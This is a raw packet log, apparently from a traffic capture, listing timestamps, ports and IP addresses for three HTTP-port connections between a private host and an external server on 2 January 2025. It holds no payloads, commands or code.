Jan 2, 2025 19:14:16.551506996 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551513910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551523924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551537037 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551567078 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551573992 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551600933 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551624060 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551630020 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551647902 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551654100 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551665068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551683903 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551687956 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551721096 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551722050 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551722050 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551728964 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551755905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551764965 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551765919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551773071 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551812887 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551827908 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551853895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551886082 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.551935911 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551942110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551949024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551954985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551960945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551973104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.551990032 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.552011967 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.552021980 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552051067 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.552078009 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552090883 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552098036 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552165985 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552171946 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552184105 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552189112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552195072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552202940 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.552242994 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.552311897 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552318096 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552325010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552330017 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552335024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552340031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552345991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552364111 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.552400112 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552406073 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552411079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552422047 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552428007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552439928 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.552459955 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.552473068 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.552797079 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.555921078 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.602700949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602708101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602720976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602740049 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602793932 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.602835894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602850914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602857113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602869034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602875948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602880955 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602883101 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.602888107 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602902889 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602910042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602911949 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.602921009 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602927923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.602936983 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.602953911 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.602953911 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603060961 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603066921 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603077888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603082895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603089094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603099108 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603105068 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603133917 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603173971 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603291035 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603365898 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603372097 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603378057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603383064 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603389025 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603426933 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603456020 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603460073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603475094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603487015 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603492022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603497982 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603508949 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603516102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603527069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603533030 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603543043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603547096 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603549004 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603555918 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603559971 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603559971 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603585005 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603599072 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603605032 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603637934 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603637934 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603677988 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603729963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603729963 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603737116 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603744030 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603771925 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603816986 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.603905916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603912115 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603918076 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603924036 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603929996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603936911 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603949070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603954077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603960037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603966951 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.603976011 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.604008913 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.604039907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.604044914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.604051113 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.604060888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.604062080 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.604093075 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.604106903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.604110003 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.604110956 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.604113102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.604120970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.604152918 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.604305983 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.604891062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605001926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605006933 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605019093 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605025053 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605030060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605037928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605043888 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605056047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605081081 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.605081081 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.605081081 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.605165005 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.605247974 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605253935 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605261087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605266094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605277061 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605304003 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605309963 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605314970 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605319977 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.605341911 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.605387926 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.605403900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605432987 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605434895 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605438948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605453968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605524063 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605529070 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605540037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605545998 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605550051 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.605572939 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.605621099 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.605621099 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606079102 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606086016 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606091022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606096029 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606103897 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606117010 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606131077 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606137037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606138945 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606143951 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606158972 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606164932 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606169939 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606175900 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606178999 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606178999 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606183052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606195927 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606239080 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606239080 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606300116 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606395006 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606439114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606446028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606573105 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606585026 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606590986 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606595993 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606601954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606602907 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606611967 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606617928 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606635094 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606647968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606648922 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606648922 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606654882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606666088 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606672049 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606682062 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606684923 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606684923 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606688976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.606759071 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.606759071 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.612509966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612612009 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612617016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612627983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612633944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612638950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612651110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612656116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612694025 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.612776995 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.612875938 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612881899 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612888098 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612899065 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612911940 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612919092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612929106 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612935066 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612941980 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.612946987 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.612973928 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.613081932 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.614258051 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614284039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614289999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614305973 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.614347935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614350080 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.614389896 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614396095 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614442110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614447117 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614460945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614475012 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614485979 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614490032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.614490032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.614495039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614562988 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.614609003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614654064 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614660978 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614713907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614721060 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614727020 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614732981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614778042 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.614823103 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614851952 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614886999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614916086 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.614975929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614981890 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.614984035 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.614995003 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615000963 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615012884 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615019083 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615032911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615039110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615056038 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615056038 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615087986 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615094900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615101099 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615124941 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615202904 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615263939 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615310907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615325928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615333080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615344048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615396023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615401983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615401983 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615412951 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615415096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615422010 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615484953 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615484953 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615536928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615592957 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615639925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615647078 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615653038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615658045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615669966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615675926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615686893 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615693092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615700006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615705013 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615705967 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615734100 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615734100 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615755081 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615761995 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615768909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615781069 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615786076 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615788937 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.615792990 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615798950 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.615804911 CET	80	49728	147.45.44.131	192.168.2.6
